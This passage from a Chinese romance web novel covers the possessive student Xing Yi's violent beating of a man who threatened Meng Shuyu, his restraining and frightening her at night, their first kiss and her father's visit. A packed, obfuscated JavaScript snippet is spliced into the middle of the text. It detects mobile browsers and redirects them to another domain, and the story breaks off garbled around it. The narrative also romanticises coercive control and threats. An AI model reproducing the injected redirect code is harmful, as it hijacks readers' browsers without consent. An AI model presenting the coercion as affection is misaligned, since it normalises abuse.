马睿觉察出她渴望求助,于是拿出一把小刀,抵着她锁骨威胁说:“待会儿别喊,跟我去个地方,用你这张让人又爱又恨的嘴,让我爽一爽。” 孟纾语后背一凉。 她假意顺从,被马睿用刀威胁着带到偏僻的小巷里,时刻警惕着,等马睿低头掏兜的时候,她用快捷键报警,转头就跑。 身后是马睿骂娘追赶的脚步声,她不顾一切闷头跑,快速转弯。 啪。 撞到一个人。 他单手揽住她肩膀,声音从头顶落下,熟悉的懒散调,十分欠扁:“大晚上,投怀送抱?” “......” 她气息不稳,抬头看他一眼,邢屹把她扯到身后,马睿迎面跑来,他上前一步直接踹了他一脚。 马睿显然被踹懵,嘶一声缓了缓劲儿,倒地大骂:“我草你妈,你谁啊?!” “都想操.我妈了,还问我是谁?” “我草......”马睿挣扎着起身,学体育的惯有一身蛮劲,什么都不怕,“我他妈弄死你啊!” “嘴这么脏,给你洗洗。” 邢屹突然掐住他后脖子朝水坑一摁,马睿啪一声倒地,污水四溅,邢屹半跪着,单手扼制住他,另一手直接掏进他裤兜,扔了那把小刀。 马睿疯狂反抗,邢屹控住他两只手腕反向一折,嚎叫声惊天动地,他越是挣扎就越是呛水,邢屹忽然从他裤兜里掏出一个避.孕套,顿了两秒,直接把他提起来撞到墙上,斑驳碎石落了一地。 马睿被折腾成一团烂泥,终于开始求饶,邢屹置若罔闻,又把他甩到另一个水坑里,一摁到底。 只听见一片混乱里,邢屹从容不迫的声音,偶尔散逸一声轻懒的笑—— “难受吗,对不起,现在好多了吧?啊,更疼了?不好意思,下次我轻点儿吧。” “为什么不说话,为什么睁不开眼?” “衣服被你的血弄脏了,打算怎么帮我处理?” “都跟你道歉了,你不回话,不觉得很没礼貌?” “说话啊,喜欢她?觉得她漂亮,可爱,看不够?要是我挖了你的眼睛,你是不是再也看不见她了?” ... 孟纾语僵在远处,惊吓后的眩晕感莫名袭来。 她只想做一件事。 回家收拾行李。 13.回吻 [我觉得他是一个疯子] [一个表里不一,喜怒无常,冷血无情又心狠手辣的疯子......] 孟纾语在心底重复这两句。 邢屹中途停车,拿湿纸巾擦手,问她饿不饿。 孟纾语不敢看他,低头坐在副驾,手指不安地拧来拧去,声若蚊呐:“不饿......” 邢屹把沾了血污的湿巾团成团,隔着车窗投进路边垃圾桶。 “在店里没怎么吃吧。”音落,孟纾语久久不答,他阴沉着脸看向她,“说话。” 她心头一颤。 邢屹说出口的每一个字眼,甚至每一段轻飘飘的尾音,都能攻陷她脆弱的心理防线。 “吃了一点,不想再吃了,会消化不良。”她声线含颤,软下来恳求,“邢屹,我想下车透透气可以吗......” 几分钟后,孟纾语坐在公园的长椅上,规规矩矩并着腿发呆。 邢屹坐她身边,双腿肆意敞开,划着手机查找最近的甜品店。 他越是气定神闲,她压力就越大。 今晚在巷子里,她在关键时刻喊了他的名字,他才终于停手。 那瞬间她都不敢看马睿的脸,只能强行想象那是红色颜料。 最后他打电话让人来处理,把对方丢进医院,一切妥当后,他走到她面前,她慌得想跑,他却低头埋在她肩上,说她穿这么少,别冻感冒了。 她哑口无言。 邢屹给她的冲击太大了。 她的成长道路说不上顺风顺水,但也幸福无忧。老孟疼她,邻居喜欢她,老师器重她,运动会跑个八百米,到了终点都有一堆同学给她送糖递水,生怕她累昏。 如此安稳的生活,就这么顺理成章又莫名其妙的,掀起一个惊涛骇浪。 孟纾语咬紧下唇,盯着不远处一只四处溜达的小橘猫。 直到猫咪的身影越来越模糊。 啪嗒。 眼泪落下。 邢屹转头看她,喉结倏然一滚,前一秒还冷冰冰的,这一秒却用最轻的力道把她揽入怀中:“怎么了,哭什么?” 她软在他怀里,不想哭出声,只能忍辱重负地哽咽:“我、我控制不住......” 太害怕了,泪腺又是唯一的情绪出口,大脑只能通知它工作。 “好了,别哭了,哭完容易生病。”邢屹无可奈何地叹气,指腹给她擦泪,“乖,不哭了,我怎么你了?” 她呜咽:“你吓唬我......” 邢屹手边没纸,直接用衣袖给她擦泪,揉揉她脑袋:“我什么时候吓唬你?” “你、你把马睿打得那么惨,还让我在旁边看......” 最后一个字拖长了哭腔,可怜又委屈,一个老大爷遛狗经过,义愤填膺地瞪了邢屹一眼。 邢屹伤脑筋,哄了半天哄不好,只能让她靠在自己怀里哭,衬衫被泪水泅湿一片,手也沾满眼泪,湿哒哒地揉她的脸:“不是说了吗,让你回车里待着,别看。” 她哭得更厉害。 “你明明没说......”控诉完,又严谨地补充,“也有可能是我没听见,但你就是吓到我了,太过分了......” 邢屹衣袖全湿,她简直是水做的,眼泪像开了闸一样,根本止不住。 他把她沾了泪的发丝撩到耳后,极尽耐心:“好好,是我的错,给你买蛋糕吃。” “我不要蛋糕......” “那你想要什么,我全都给你买。” 孟纾语哽咽一记,抬起水雾蒙蒙的眸子,眼巴巴看着他:“我们今后,可不可以严格保持距离?” 邢屹眼神一暗:“不可以。” 她又咬着唇哭了,通红的眼眶盛满泪水,一浪接一浪。 邢屹真拿她没办法,但又不舍得跟她大声说话,即使被她的要求惹怒了,声音也是低缓的:“就这么不想靠近我?” 她憋着眼泪:“对......” 邢屹冷森森看着她,依旧把她揽在怀里,顿了几秒才撇过头说:“不想靠近也没用,别忘了,住进我家是你自愿的,来京北也是你自己选的。” “你不要颠倒黑白,我来京北是因为......”她缓了许久才说,“因为要上学,再就是......我妈生前对我说,她死后会变成雪花,每年都会落到我身上,不会离开我,即使死亡也是另一种陪伴,让我好好生活不要难过。” 邢屹兀地安静,目光又落回她湿润的脸庞。 孟纾语挣扎两下离开他的怀抱,自顾自埋头擦泪,声音都哭哑了:“算了,说这些你也不懂,你肯定会嘲笑我,问我干嘛不去北海道,那里有更多的雪。” 无言许久。 “孟纾语。” 邢屹冷不丁开口,还用如此温柔的语气,她差点一激灵。 转头看他:“......干嘛?” “你想让马睿活着,还是想让他死?” 他用波澜不惊的语气问出如此瘆人的话,孟纾语吓得站起来:“你别乱来!杀.人要坐牢的!” 邢屹懒洋洋翘起二郎腿坐着,牵起她的手勾住小拇指:“无所谓,记得来看我。” “我才不去看你。”她正义十足,“我要上法庭控诉你的罪行,让法官判你无期!” 邢屹兀地笑了,“好啊,只要你舍得。” ——“孟小姐。” 她快速挣开手,回身,林泽缓缓走回来,手里还拎了个精致小盒。 “......林助,你好。” “孟小姐好。”他把盒子递过来,“给,这是您的蓝莓蛋糕,邢屹订的。” 她拎着盒子定了定神,林泽微笑说:“走吧,我开车送您回去。” 她如获大赦,转头看了眼邢屹。 他百无聊赖转着手机,另只手臂横在椅背上搭着。 “不是怕我?”他轻抬下巴,“让林泽送你回去。” 孟纾语看他一会儿。 “走吧林助。” 就这么毫不犹豫地走了。 邢屹:“......” ... 车里,林泽主动问起:“您跟邢屹闹别扭了吗?” 孟纾语在后座抱着蛋糕盒子,小声说:“不算。我只是......有点怕他。” 林泽爽朗一笑,宽慰她:“不用怕,他不坏的。” 孟纾语不知该说什么,心想你们究竟给他开了多大的滤镜...... 不过无论如何,她已经做好搬走的计划了。 低头,蓝莓蛋糕的香味浅浅散逸。 这是她最喜欢的口味,不知道他怎么得知的。 细细想来,他确实......很会哄人。 - 次日一早,西哲课。 课前十分钟,孟纾语坐在第三排整理笔记,忽然听见后门一阵骚动。 “邢屹?他不是辅修计算机的吗,干嘛来听哲学系的课?” “而且他大二诶,一个大二的来听大一的课,好奇怪。” “天,近距离看他真的巨帅,他会不会有出道的打算?” “不知道诶,据说他妈妈就是电影演员,超漂亮,但是昙花一现,只演过一部文艺片就退圈了。” “话说他干嘛来旁听啊?班上有他女朋友?” 孟纾语手腕一顿,黑笔掉落在地,邢屹经过,低身帮她捡起,顺势坐到她旁边,相隔半米。 什么强盗行为。 另一旁的路露本来昏昏欲睡,视线一晃看见她身边多了个人,眸光一亮:“我去!近水楼台诶,你要不要趁机跟他加个微信?” “......不用了。”其实已经拉黑过一次了。 教授在整理PPT,扫了一眼台下,冷不丁发现生面孔,好奇问:“那位男同学,你不是我们系的吧?” 邢屹懒散地坐着,如实回应,教授听闻之后喜笑颜开:“呀,原来是工科生,平时对哲学感兴趣吗?” “嗯。” “......”孟纾语怀疑他在敷衍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15203952|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教授比较幽默,课上会聊一些哲学家的八卦,这会儿趁着课前热场,教授问他:“那你怎么看待萨特和波伏娃的开放式关系?” 邢屹游刃有余地答:“你情我愿吧,没什么好批判的。每个人都有向往的生活方式,比起婚姻和家庭,波伏娃更注重相互陪伴,萨特很尊重波伏娃的选择,这一点毋庸置疑。” 教授点点头,邢屹话锋一转:“不过,既然老师问的是私生活方面,那就抛开学术成就不谈,我对萨特这个人没什么好感,因为无论是精神出轨还是肉.体出轨,只要是朝三暮四的男人,都没有资格谈爱。” 教授愣了愣,摸着鼻子笑说:“是的,的确如此......好,我们现在开始上课。” 同学们窃窃私语,有的忍不住笑出声:“邢屹说得真对,教授脸都绿了,哈哈......” 孟纾语拿起手机飞快打字。 [踩雷了!听说教授本人出过轨] 邢屹在一旁轻点屏幕,优哉游哉。 xy:[所以呢?] “......” 好吧,他事先也不知道。 再说,就算他知道了,也不一定会因此收敛,反正他本质就是离经叛道,对所有人无差别攻击。 她放下手机认真听课,邢屹以没有教材为由跟她共看一本西哲史,用铅笔在她书上圈出几个字。 她连贯拼起来就是—— 喜、欢、你。 她心头一震,气呼呼发消息:[你用这种老掉牙的招数骗过多少女孩子?] xy:[我又不是萨特] “......” 路露发现她不对劲,戳戳她:“你咋啦?” 她匆忙倒扣手机。 “没什么。” 路露贴过来耳语:“诶,你仔细闻闻,邢屹身上是不是很香?” “......这个问题有点变态。” 答案是确实很香。 葡萄柚的气息清冷而甜涩,闻过一次就再也忘不掉。 手机震了一下。 邢屹在一旁转笔看书,好不自在,她以为又是他发来的,气闷一看,不是他。 是邢美莱:[乖乖,你生日快到了,想要什么生日礼物呀?] 她不好意思让对方破费:[莱姨,不用的] [要的要的,我给你买架钢琴吧,你小时候不是最喜欢弹钢琴吗?] 蓦地,她心沉了一下。 其实想说,她已经很久不碰琴键了,快七年了。 邢美莱执意要买,她拒绝无果,只能默许。 终于下课,孟纾语快速离开教室。 中途彭霖出现,乐呵呵跟她打了声招呼,她转身下楼,他俩就在身后,她冷不丁听见他们对话,得知邢屹今晚要去玩山路赛车。 她心下一动,打算趁机收拾行李,这段时间住宿舍,不回家了。 反正她下定决心搬走,邢屹要是有能耐,就把她宿舍的床销毁吧,到时她就有证据证明,此男真的在发疯。 ... 入夜,她在卧室里忙活,先把贵重物品放进行李箱,再一抬头,对着整墙的书发呆。 今晚带回宿舍吗?还是明天悄悄过来把它们打包寄走? 正纠结,楼下传来动静。 邢屹居然回来了。 她连忙把箱子藏好,假装上床睡觉。 走廊外响起隐约的脚步声。 枕边手机亮起。 xy:[开门。] 心脏狂跳。 但是睡着的人,怎么能回消息呢。 她攥着被角,不回复,认定自己就是睡着了。 屏幕再一亮。 [行李收拾得怎么样了?] [要不我帮你?] 被他看穿了。 完了,她要紧张得喘不过气了。 [孟纾语,还不说话是吧] [给你三秒] [三] [二] [一] 14.回吻 她咬牙撑到最后一秒。 心跳拉扯三下,锁屏光亮就此熄灭。 门外毫无动静。 像兵临城下,眼看快要开战,敌人却齐唰唰卸下了弓箭。 她躲在城墙上像一块被捏扁的面包,缓缓恢复蓬松。 猜到邢屹已经走了,但她不敢轻举妄动,硬生生在床上躺了一个小时。 直到她想去卫生间。 于是悄摸摸下了床,连灯都不敢开,全程用手机电筒照明。 洗完手出来,打开门。 突然感觉这屋里不止她一个活物。 她浑身僵住,看着从身后游移而来的影子,漆黑又挺拔,暗含狂热张扬的力量。 想起自己短跑十秒八的烂成绩,她决定背水一战。 下一秒,逃跑声激烈响起,电光火石间,邢屹手臂一揽,从背后锁住她,几番挣扎,她被他抵在门上,后背贴着他如火似铁的胸膛。 眼前一片漆黑,他单手蒙住她眼睛,她双手向后慌乱捶打,碰到不该碰的地方,触电一样缩回,浑身快要烧起来,只能蜷起手指死死扒住门板,脑神经剧烈震颤。 邢屹一只膝盖抵在她腿间,她动弹不得,他粗沉的呼吸埋入她肩膀,热意从她垂散的长发传递至肌肤,像火焰烧燎,而他从容不迫:“睡醒了?” 她全身的细胞都在沸腾:“醒、醒了......” “有没有梦见我?” “没有......” 她声音细碎,邢屹肆无忌惮,鼻尖蹭过她耳朵。 她抖得这么厉害,这样激烈的频率,像小鹿撞击他身体,撞出一个鲜明豁口,只能由她填满。 他会把她锁进这个豁口,再用数以万计的金钱、用刚强有力的身体,为她铸造一个乌托邦,让她在欢乐与纵情里徜徉。 那份温柔绵软会让他痛快淋漓,水一样拥抱他、淋湿他。 他们会耳鬓厮磨,会接吻,会做很多事情,他会看她仰头呼吸,让她将手指陷入他汗湿的短发,尽情抓挠他,他会扶住她不赢一握的腰,听她用颤抖的声音说爱他。 爱他,爱他,爱他...... 想象让人亢奋不堪,欲念疯狂膨胀。 孟纾语浑然不觉,只知他的身体越来越强硬,裹挟感席卷而来,她惊恐万分。 邢屹蹭蹭她耳后的头发,声音更哑:“小语觉得我特别可怕?” “对!”她脱口而出,蒙在她眼上的手突然加重力道,她吓得改口,“不、不对!” “是吗,那你觉得我特别好?” “对!你特别好,你相貌好脑子好体力好,礼貌善良,关爱小动物,你、你哪里都很好......”她呼吸凌乱口不择言,最后软绵绵恳求,“所以......可以放开我了吗?” 邢屹无动于衷,一手掐住她颤抖的下颌,往后带了带,灼热恶劣的气息扑在她面颊:“把我想得那么好,不如跟我接吻?” “?” 心脏跳到嗓子眼,她力气枯竭,几乎要软在地上,邢屹揽着她的腰托住她,她模模糊糊听见门外有声。 ——“乖乖,姨给你带了鸭血粉丝汤,要出来吃点吗?” 邢美莱出差回来了。 她心一跳,刚要出声,邢屹捂住她嘴巴,她垂死挣扎地呜咽。 ——“唔,好像睡着了。” 邢美莱默默离去。 她要哭了。 很快,他掌心真的被濡湿。 邢屹错愕一瞬,叹了口气,松开对她的束缚,把哭软的人抱到床边,让她坐在他腿上,给她擦泪:“好了,不哭了。” 她下意识推开他,他就攥住她手腕,她哭得更凶,连连哽咽:“做、做人怎么能这么坏啊......” 邢屹无可奈何:“你瞒着我收拾行李,你就不坏?” 她据理力争:“我哪里坏,我偷偷收拾行李只能证明你十恶不赦,所以我才想搬走!” “好好,是我混蛋,别哭了。”他又用衣袖给她擦泪,难得这么温柔,哄了半天,打趣道,“你都哭湿我两件衣服了。” 她一边哭一边铁骨铮铮:“我赔给你......” “一件两万。” “......当我没说。” 邢屹等她哭声小一些,继续哄,哄完又开始犯病,威胁她不准搬走。 她心慌意乱地问凭什么,邢屹气定神闲,说钢琴已经抬进家里了,她要是搬走,莱姨会非常难过。 次日早晨,孟纾语下楼一看,侧厅果然多了架三角钢琴。 这是她时至今日,收到的最贵重的生日礼物。 几百万的钢琴说买就买,简直在用糖衣炮弹劝她放弃抵抗。 邢美莱今早得闲,给他们做早餐吃,又在厨房里幸福洋溢地喊话,让孟纾语试试钢琴的音色,看喜不喜欢。 她迟疑片刻,说手生了,先不弹吧,等找回感觉再试。 说完便拉开餐椅坐下。 只有对面的邢屹意味深长地注视她,似乎能透过她刻意躲闪的目光,看见她藏匿的心事。 两人今天没怎么交流,孟纾语自己坐公交去了学校,邢屹上午没课,被彭霖邀到了工作室。 其实就是彭霖家里的宽敞阁楼,美名其曰创业工作室。 不怕富二代花天酒地,最怕富二代热血创业。 彭霖花着家里的钱,已经干黄了n个项目,亏了至少八百万。 最近他又有点新点子,想开发一款云端存储软件,立志要拳打摆渡网盘、脚踢阿狸云盘。 但他不精通代码,只能依靠邢屹。 “屹,我得到内部消息,小时光云盘就快倒闭了,等它家服务器一崩,咱们火速上线,绝对一飞冲天!” 彭霖兴致勃勃转着椅子回身,不远处,邢屹懒坐在沙发上玩手柄赛车,目光落在游戏大屏上,烦心倦目的,根本没听他说什么。 彭霖瞧出他情绪不对劲。 又怎么了这是?唉,他可是自己创业之路的活血源头,不能让他不高兴。 彭霖决定好好伺候这位大少爷:“屹,出去吃饭呗,我请。” ... 不多时,两人到达商圈。 彭霖在手机上查找口碑好的餐厅,邢屹闲闲插着兜,嘴里含一颗薄荷糖,百无聊赖走在旁边。 阳光下人来人往,广场喷泉附近有个小男孩跪地乞讨,地上印了十几行粉笔字,说家人重病,急需筹钱治疗。 邢屹路过扫了一眼。 钱包正好备有现金,于是停下来取出钞票,一共十张,直接给了对方。 小男孩惊得犯懵,等他们走远了他才慌乱醒神,攥着红钞连连道谢。 彭霖见怪不怪,什么也没说。 就算对方是骗子,邢屹也不会在意那笔钱。 倒不是因为同情心旺盛,其实邢屹根本就不同情。 只是对方需要钱,而正好他也不缺钱,就给了。 共情力是种稀缺的事物,邢屹身上并不见得拥有太多。尤其对于亲情这玩意儿,他的共情力几乎为零。 毕竟连亲生母亲都在他的憎恶名单里封存着,没死胜似死。所以别说共情别人了,他自己都懒得在意亲情。 彭霖算是很了解他,有时候调侃他薄情寡义,也不算百分百的玩笑话。 毕竟他真就那样。 如果有一个人能开启他尘封已久的共情力,那那个人...... 算了,彭霖觉得那人不存在。 - 因为一架昂贵钢琴,孟纾语的搬离计划就此泡汤。 晚饭过后,莱姨又出门了,她觉得自己再次陷入危险境地,只能紧锁房门,用写作业来转移注意力。 她抱着笔记本电脑,像只小蜗牛一样瘫挂在床尾,敲一行字就叹一口气。 看眼时间,已经十一点多了。 零点一过,就是她生日。 可是她闷闷不乐,无精打采。 倒不是全怪邢屹,只是她一想到那架钢琴,就想起徐以婵,想起那一天...... 思绪飘远,楼下忽然传来细微声响。 钢琴曲? 她打开房门,终于听仔细。 心头一颤。 是《月光》,是徐以婵教她弹会的第一首曲子。 她对音符有天生的敏感力和掌控力,小时候,往往是徐以婵教她半小时,她自己弹奏一小时,最后再被老孟夸赞半小时。 后来徐以婵患癌住院,没人手把手地教她弹了,但她热爱不减,于是就进了兴趣班,在老师的指挥下练习。 孟纾语缓步下楼,看见落地窗前,沐在月光里的沉静身影。 原本冷硬不讲理的拳头,此刻舒展出优越弧度,修长手指游走在黑白键上,好像每一寸筋骨都变得温柔。 沉浸许久,最后一个音符泛震在空气里,一曲终了。 孟纾语憋住眼泪,上前打开一盏落地灯,数落他:“不开灯弹琴,眼睛会坏掉的,不要为了凹帅气氛围而牺牲视力。” 邢屹换个方向坐在琴凳上,懒散笑着,面对面牵过她的手,把她带到身前。 “听完了?”< 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只是隔着一扇再也打不开的门。 片刻,邢屹把她垂落的发丝撩至耳后,浅笑说:“就当今晚的曲子,是你妈妈为你弹的。你是她的骄傲,她从来不会怪你错过她人生最后一秒,因为在她心里,她从来没有离开过你。” 音落,孟纾语好不容易憋住的眼泪瞬间决堤。 这人怎么这样啊...... 她匆忙撇过头,邢屹站起来把她抱住,后退几步靠住琴身,双手捧起她的脸。 她吸一记鼻子,挪开眼:“别看我,丢脸死了......” 邢屹笑了下。 “不丢脸。”他捏捏她泪湿的脸颊,目光缱绻垂落,“很漂亮。” ......这话有点变态。 但他声音很好听,她柔软的心弦再次被撩动,回音漫长。 邢屹先是用指腹揩走她的泪水,又缓缓靠近,低头,嘴唇轻轻碰一下她脸颊泪痕,她睫毛颤动,邢屹掀起眼皮掠她一眼,目光里有热意翻滚,他一只手牵住她,手指挤进她紧张的指缝,十指相扣。 他轻吻着眼泪流经的轨迹,气息从她脸颊游落到颈侧,鼻尖蹭蹭她耳垂,声音哑得过分,一阵接一阵的喘:“你手好烫,我好想跟你接吻。” 她呼吸乱了,脑内有飓风旋卷,邢屹紧紧抱住她,浑热不堪的气音磨她耳畔:“可以吗?” 这一秒,她整颗心被他填满,是心跳牵引着她点头。 邢屹眼神一暗,松开彼此汗湿的手,突然扣住她后颈狠狠吻住她。 呼吸相撞,旋即抵死纠缠,她仓惶攥拳,被一股狂烈的力量惊得踉跄,邢屹单手揽住她的腰把她捞回身前,一边吻她,一边抱着她后退。 他凭借记忆寻到沙发椅,敞着腿坐下,引导她岔开腿坐他身上,他手掌扣住她后背,仰起头,用力又爱惜地吻她,狂热不堪的气息扫荡、掠夺,她呜咽一声,掐住他青筋暴起的手臂,适应他疯了般的节奏。 终于,他舌尖探入,微阖着眼,不错过她每一个羞赧的表情,似乎很喜欢看她脸红,喜欢听她细碎的呜咽,邢屹喘声忽沉,亲吻幅度愈发剧烈,他一手抚摸她滚烫的脸颊,在接吻间隙里含糊不清地夸奖:“好软,好烫。” 她已然失神,忘了什么叫色令智昏,只觉体内山崩地裂,碎石之间开出了花,漫山遍野,在狂风中肆意摇曳,她好像闻到花香,闻到他身上灼热的香气,和空气里朦胧的悸动。 她尝到前所未有的激烈与放纵,骨骼里有海浪翻滚,柔软的、强烈的、温热的...... 脊骨酥麻一片,她不太熟练地回应他痴迷的吻。 桌上手机震动。 老孟:[女儿生日快乐!] 老孟:[老爸明天去京北看你!] 孟纾语被他吻着,顾此失彼。 预感到是老孟,不是吧,老孟要来?! 可是他俩现在...... 理智迅速回笼,双手推他,邢屹攥住她躁动的手腕,两人拧了几个回合,双双滚落地毯,她被他压着,一滴滚烫液体坠落而下,打湿她锁骨。 是邢屹的汗水,是他蛊惑人心的荷尔蒙。 他突然翻个身让她在上,抱着她,从唇角吻到耳畔。 “小语后悔了?” “不是很舒服吗?都会主动含我了。” “你逃不掉的,你要依赖我,要跟我接吻,跟我做.爱,要学会爱我。” “必须爱我。” 15-20 第15章 回吻“刺激吗?”(入v二合一)…… 两人跌跌撞撞吻到落地窗边,邢屹靠着玻璃,突然托住她膝弯往上一抱,她用力攀住他肩膀,等他坐下,她就只能坐在他身上。 太过紧张,手总是乱动,他就把她两只手腕缚在她背后,胯骨恶劣地往上一顶,她会因惊吓失衡而双腿颤抖,进而缠紧他的腰,一切如他所愿,他逐渐亢奋。 热吻碾转,落地窗外忽然有动静。 什么东西? 深吻快速分离,目光越过他肩膀,她愣了下。 “黑大帅?” 邢屹掰正她的脸继续吻,声线被情。欲磨过,沙哑含喘:“你也觉得这名字不错?” “难道不是因为我只能用这个名字叫它吗!” 玻璃外,那只兴奋不已的小毛球真是黑大帅。 凌晨一点,邢屹站在十字路口,臂弯里托着一只欢乐的小毛球,打电话联系它的领养人。 没过多久,一位妈妈牵着儿子风风火火地赶来。 “黑大帅!” 小男孩一下就哭了,冲上来抱它。 因为男孩学业变动,一家人要搬到津市久居,今晚他陪妈妈收拾行李,本来还好好的,不知黑大帅怎么了,突然异常亢奋,门一开就冲出去了,怎么都喊不回。 不可思议,它居然能凭气味找到邢屹家里,一路上不知有多累,爪子都跑脏了。 “呜呜呜,黑大帅你不要离家出走,我会给你买好多好吃的” 小男孩难过万分,以为自己要成为没有小狗的流浪人。 黑大帅仰头看着主人落泪,舔舔他的手。对不起对不起,不要哭,我只是想在搬走之前再来看看他,我不会抛下你的。 男孩妈妈笑了笑:“好啦,快谢谢哥哥姐姐。” 小男孩深鞠一躬,用尽毕生所学:“谢谢哥哥姐姐!祝你们百年好合永结同心,情深似海白头偕老!” “” 孟纾语默默往后退了半步。 黑大帅眼巴巴望着邢屹,他低垂视线,伸手拨楞拨楞狗头,轻笑一声:“跟主人回家吧,谢谢你回来看我,再见。” 小狗尾巴摇出了螺旋桨。再见,我会想你的。 母子俩带着小狗安心离开。 路灯下,邢屹笔挺地站着,却总有一股事后的餍足感,浑身筋骨懒洋洋的,肩膀简单舒展几下,下意识拿出口袋里的烟。 孟纾语看他一眼。 邢屹回视几秒,忽然不着痕迹地笑:“知道了。” 不让抽,他直接把烟盒扔进垃圾桶。 两人步行返回,孟纾语随口说:“你很招狗诶。” 邢屹淡淡瞥她。 “我觉得有必要换个措辞。是我、招、小狗的喜欢。” “哦。” “话说回来,什么时候也能招你喜欢?” “干嘛,我又不是小狗。” 邢屹很撩欠地揉着她的脑袋,另一手拿出手机查看。 “孟叔说他明早就到。” 糟糕,差点把这茬忘了。 事先警告他:“你千万别在我爸面前对我做什么过分的事。” “哦,原来我见不得光。” “”怎么还委屈上了。 她一沉默,邢屹就想掐着她后颈吻她,她吓得直接跑了。 太疯狂了。 他们居然开始了一种很奇怪的关系。 不是男女朋友,但接过吻,已经算不上清白。 不过话说回来,跟他接吻的体验确实很好 完蛋,色令智昏。 这件事绝对不能让老孟知道。 一,父亲不允许她跟男生发生这种不清不楚的关系。 二,邢屹就是个定时炸。弹,万一他犯病,直接开口叫一声“爸”,或是当着长辈的面亲她,那老孟一定会被他的真面目气晕过去- 次日一早,两人到机场接人。 孟明德拎一个小行李箱,穿浅蓝衬衫和黑色西裤从人群中走来,依稀可见年轻时的风度翩翩。 邢屹背靠着等待区的金属围栏,垂眸划了会儿手机,收获一堆路过的粉红泡泡。 他拒绝一个辣妹要微信的请求,朝斜前方轻抬下巴:“爸来了。” 拜托。 孟纾语瞪他一眼:“是我爸。” ——“女儿!” 老孟小跑过来,从行李箱隔层里掏出一个丝绒盒子:“给,你的生日礼物。” “什么呀?” 孟纾语满怀期待打开看。 居然是蓝宝石项链,好漂亮。 “怎么样?两克拉的无烧皇家蓝,老爸从一个收藏家手里买的,是不是很惊艳?” 孟纾语狐疑地合上盖子:“这次又花了多少?” “不多不多,两万八。” “”她心中警铃大作,这东西真的值两万八吗,“爸,你该不会被忽——” “呀,一个月不见,小屹真是越来越帅,一表人才。” 老孟不经意打断她,乐呵呵跟邢屹聊了起来,说谢谢他照顾小语,麻烦了。 邢屹从容不迫,说不麻烦,应该的,毕竟她比我小,应该好好照顾。 照顾到诱哄她接吻。 孟纾语只恨手里没有一把锤子抡飞他。 好一只大尾巴狼,你发疯的时候怎么不这么说? 三人有说有聊地离开航站楼,林泽已经等候多时。 “孟先生好。” “诶,你好你好。” “这个给我吧。”林泽接过行李放进车后备箱,微笑看过来,“孟小姐跟邢屹,是一起还是?” 邢屹故意不答,其实一只手在她后背绕她的头发玩,她立刻瞪大眼睛盯着林泽,像被刀刃架脖,屏息凝神摇了摇头。 林泽挑眉接收信号,绕上前打开副驾车门:“孟小姐,您坐前面吧。” 老孟独自开朗:“没事,我坐前面就行,他俩坐后面。” “” 无可奈何,轿车缓缓启动。 后座,邢屹一手佯装划手机,另手牵住她,她慌忙逃脱,他三两下又捉住她,两人斗了几个回合,她呼吸声都重了些,唯有他气定神闲。 她躁动不安的手指擦过他手背凸起的青筋,心跳莫名加速,他反手一攥,这次十指紧扣,她再也挣不开,红晕从耳垂一路蔓延到脸颊。 老孟忽然出声:“小语,最近学习怎么样?” 她深吸一口气。 “还可以,不太——”掌心突然被挠了一记,痒得她肩膀一颤,下意识咬字,“混——” “啊?昏什么?学昏头了?” 老孟关切回头,她连忙抽回手,邢屹刻意放松了力道让她挣脱,简直像坏猫逗鼠,欲擒故纵。 余光看到他微微牵起的嘴角,她小幅度深呼吸,镇定下来回答父亲:“没有,我是说混日子是不对的,必须认真学习。” “哎,你一直很认真,老爸可为你骄傲了。学习很累的,不要给自己太大压力,该玩的时候就玩,一定要劳逸结合。” 老孟叨叨完,终于把头转了回去。 孟纾语悬着的心终于落下,转头看一眼邢屹。 只见他微微侧头看着窗外风景,胳膊肘搭住车窗边沿,拳头轻轻抵着唇角,生怕她看不出来他在笑。 她郁闷的目光缓缓下移,盯着他悠哉敞开的腿。 控制力道踢了他一下。 他纹丝不动,垂眸点了几下手机屏幕。 xy:[没感觉] “” 她气闷,再踢。 xy:[有点儿感觉了,再来一下?] “?” 有病吧他。 林泽专注开车,瞄了眼后视镜,一眼就看出 后座那两人气氛微妙。 于是淡定地问:“孟先生,可以推荐几款不错的茶叶吗?我想买来送给我未来老丈人。” 一说到茶叶,自诩专家的老孟瞬间来了精神,立刻跟林泽欢快畅聊,认真介绍武夷岩茶的种类,注意力已经不在女儿身上。 孟纾语以为就此安全,不料高兴太早,邢屹直接把她揽到身边,距离蹭一下拉近,他愈发肆无忌惮地玩起她的手指,她憋红着脸,把手缩回来。 手机屏幕危险一亮。 xy:[确定还要躲?] 她飞快打字:[你又犯病] xy:[你觉得我有病?] 这话看起来,怎么有点别有深意的委屈呢。 孟纾语抬眼看去,邢屹正冷森森注视她,眼神像蛇一样擅长吐信,此时那条蛇静静盘踞着,仿佛随时会缠过来疯狂绞她,将她吞吃入腹,磨得骨头都不剩。 她连忙收回视线,打字回他。 [我不是那个意思,你不要用这种眼神看我] [有点可怕] 其实邢屹的初衷,并不是让她害怕他。 这会儿实在有点伤脑筋。 再去看她,她人已经贴到车门了,胳膊相互抱着,像不安的兔子遁入草丛,视他如洪水猛兽。 邢屹:“” 孟纾语坚守着最后一寸阵地,手机又贴着掌心震了一下,她迟疑许久才打开看。 邢屹给她截了张品牌官网的商品图,问她喜不喜欢这块表。 她一看价格,几乎两眼一黑。 果断回他:[不要] xy:[买了] “” 她迎着窗外暖融融的阳光,闭眼摁了摁太阳穴 兜兜转转,三人回到别墅。 邢屹以辅导她学习为由,陪她一起上楼,她慢吞吞跟在他身后,两人气氛诡异,像两块同极相斥的磁铁,他快一步她就故意慢一步。 半分钟过去,楼梯才走完一半。 正好赶上邢美莱进门,她环顾客厅,刚放下包就上前问老孟:“你给小语买的蓝宝石呢?拿来我瞧瞧。” 老孟精神百倍,献宝似的拿给她看,挺直腰杆坐在沙发上等待夸奖。 